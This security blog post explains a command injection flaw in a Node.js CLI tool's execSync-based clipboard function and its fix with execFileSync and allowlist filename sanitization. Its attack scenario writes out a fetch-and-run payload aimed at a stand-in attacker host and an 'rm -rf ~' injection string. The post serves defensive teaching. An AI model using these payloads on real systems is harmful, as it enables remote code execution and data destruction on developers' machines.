Back to Blog
critical SEVERITY6 min read

How command injection via execSync() happens in Node.js CLI tools and how to fix it

A critical command injection vulnerability was discovered in `packages/core/bin/cli.js` where the `copyToClipboard` function used `execSync()` with shell command strings. Combined with insufficient filename sanitization in the cache functions, an attacker could inject arbitrary shell commands through malicious repository data containing shell metacharacters. The fix replaces `execSync()` with `execFileSync()` and tightens input sanitization on cache file paths.

O
By Orbis AppSec
Published July 28, 2026Reviewed July 28, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Node.js CLI tool where `execSync()` invokes shell commands like `xclip -selection clipboard` as a string, allowing shell metacharacter injection. The fix replaces `execSync()` with `execFileSync()`, which bypasses the shell entirely by passing the command and arguments as separate array elements, and also sanitizes cache filenames with a strict allowlist regex `[^a-zA-Z0-9._-]`.

Vulnerability at a Glance

cweCWE-78
fixReplace execSync() with execFileSync() and sanitize cache file path components with allowlist regex
riskArbitrary command execution on developer machines using this CLI tool
languageJavaScript (Node.js)
root causeUsing execSync() with shell string interpolation instead of execFileSync() with argument arrays
vulnerabilityOS Command Injection via execSync()

How Command Injection via execSync() Happens in Node.js CLI Tools and How to Fix It

Introduction

The packages/core/bin/cli.js file implements a CLI tool that generates ASCII tree representations of GitHub repositories and copies them to the system clipboard. A critical flaw in the copyToClipboard function at line 162 created a command injection vector: it used Node.js's execSync() to invoke clipboard utilities (pbcopy, clip, xclip) through a shell. Combined with lax filename sanitization in the getCache and saveCache functions, an attacker who could influence repository data—such as crafting malicious file or folder names with shell metacharacters—could execute arbitrary commands on any developer's machine running this tool.

This vulnerability is particularly dangerous because the package is a Node.js library consumed by downstream developers. Every user who runs this CLI and copies output to their clipboard is exposed.

The Vulnerability Explained

Let's look at the vulnerable code:

function copyToClipboard(text) {
    // Zero-dependency clipboard logic
    if (process.platform === 'darwin') {
        execSync('pbcopy', { input: text });
    } else if (process.platform === 'win32') {
        execSync('clip', { input: text });
    } else {
        execSync('xclip -selection clipboard', { input: text });
    }
}

The core issue is that execSync() spawns a shell (/bin/sh -c "..." on Unix, cmd.exe /c "..." on Windows) to interpret the command string. While the text content is passed via the input option (stdin), the command string 'xclip -selection clipboard' is parsed by the shell.

Now consider the cache functions:

function getCache(repo, branch) {
    const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);
    // ...
}

The original sanitization only replaced forward slashes (/) with underscores. A malicious repository name like user/repo; rm -rf ~ or a branch name containing backticks would pass through with shell metacharacters intact. If these values ever flow into a shell context or influence the ASCII tree output that gets copied, command injection becomes possible.

Attack Scenario

  1. An attacker creates a GitHub repository with a branch named `curl attacker.com/shell.sh|sh`
  2. A developer uses this CLI tool to generate a tree of that repository
  3. The ASCII tree output includes the malicious branch name
  4. When copyToClipboard is called, if any part of the pipeline involves shell interpretation of that data, the injected command executes
  5. The attacker's payload runs with the developer's full user privileges

Even in the simpler case, the xclip -selection clipboard string being passed through a shell is unnecessary attack surface. If the PATH environment variable is manipulated or if there's any way to influence which binary xclip resolves to in a shell context, exploitation becomes trivial.

The Fix

The fix addresses both the shell injection vector and the path traversal/injection risk in cache filenames:

Change 1: Replace execSync with execFileSync

Before:

import { execSync } from 'child_process';

// ...

function copyToClipboard(text) {
    if (process.platform === 'darwin') {
        execSync('pbcopy', { input: text });
    } else if (process.platform === 'win32') {
        execSync('clip', { input: text });
    } else {
        execSync('xclip -selection clipboard', { input: text });
    }
}

After:

import { execFileSync } from 'child_process';

// ...

function copyToClipboard(text) {
    // Zero-dependency clipboard logic (use execFileSync to avoid shell injection)
    if (process.platform === 'darwin') {
        execFileSync('pbcopy', [], { input: text });
    } else if (process.platform === 'win32') {
        execFileSync('clip', [], { input: text });
    } else {
        execFileSync('xclip', ['-selection', 'clipboard'], { input: text });
    }
}

execFileSync does not spawn a shell. It executes the binary directly, passing arguments as an array. The -selection and clipboard arguments are passed as separate array elements, so shell metacharacters in any surrounding context are never interpreted. There's no shell to exploit.

Change 2: Strict allowlist sanitization for cache filenames

Before:

const file = path.join(cacheDir, `${repo.replace(/\//g, '_')}_${branch}.json`);

After:

const file = path.join(cacheDir, `${repo.replace(/[^a-zA-Z0-9._-]/g, '_')}_${branch.replace(/[^a-zA-Z0-9._-]/g, '_')}.json`);

Instead of only replacing /, the fix uses an allowlist regex that strips everything except alphanumeric characters, dots, hyphens, and underscores. This eliminates shell metacharacters (;, `, $, |, (, ), etc.) from ever reaching the filesystem or downstream processing. The same sanitization is applied to both repo and branch parameters.

Prevention & Best Practices

  1. Never use execSync() or exec() in Node.js when you can use execFileSync() or spawn(). The shell-free alternatives eliminate an entire class of injection attacks.

  2. Use allowlist validation for user-influenced strings. The pattern /[^a-zA-Z0-9._-]/g is a safe default for filenames—strip anything that isn't known-safe rather than trying to blocklist dangerous characters.

  3. Apply defense in depth. Even though input passes data via stdin (not the command string), removing the shell eliminates the attack surface entirely. Don't rely on a single layer.

  4. Audit all child_process usage. Run a simple grep: grep -rn "execSync\|exec(" --include="*.js" to find all shell-spawning calls in your codebase.

  5. Use ESLint security plugins. The eslint-plugin-security package flags child_process calls that use shell strings.

  6. Consider the supply chain. This is a library—every downstream consumer inherits its vulnerabilities. Library authors bear extra responsibility for secure defaults.

Key Takeaways

  • execSync('xclip -selection clipboard') spawns a shell that can interpret metacharacters—even when data is passed via input, the shell invocation itself is unnecessary attack surface that execFileSync('xclip', ['-selection', 'clipboard']) eliminates entirely.
  • Replacing only / in repository names (repo.replace(/\//g, '_')) leaves shell metacharacters like ;, `, $, and | intact—an allowlist regex is the only safe approach for constructing filesystem paths from external data.
  • Node.js CLI tools that process GitHub repository metadata must treat repo names and branch names as untrusted input—attackers can craft these to contain arbitrary characters.
  • The child_process module's API design makes insecure usage the path of least resistanceexecSync is simpler to write than execFileSync with argument arrays, so teams should lint for it proactively.
  • Both the clipboard function AND the cache functions needed fixing—command injection often requires closing multiple gaps, not just patching the obvious sink.

How Orbis AppSec Detected This

  • Source: Repository and branch name data from GitHub API responses, flowing through getCache(), saveCache(), and ultimately into the ASCII tree output passed to copyToClipboard()
  • Sink: execSync('xclip -selection clipboard', { input: text }) in packages/core/bin/cli.js:168
  • Missing control: No shell avoidance (execFileSync) and no allowlist sanitization on repository/branch names used in cache paths and clipboard content
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced execSync() with execFileSync() to bypass the shell entirely, and applied strict allowlist regex sanitization to cache filename components

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates how a seemingly simple clipboard utility function can become a critical attack vector. The combination of execSync() with shell strings and insufficient input sanitization created a path from attacker-controlled GitHub repository metadata to arbitrary command execution on developer machines. The fix is straightforward—use execFileSync() with argument arrays and validate inputs with allowlist regexes—but the lesson is broader: every child_process call in a Node.js application should be treated as a potential injection point and audited accordingly.

If you maintain a Node.js CLI tool or library, audit your child_process usage today. Replace execSync and exec with their shell-free counterparts wherever possible. Your users' machines depend on it.

References

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #24

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.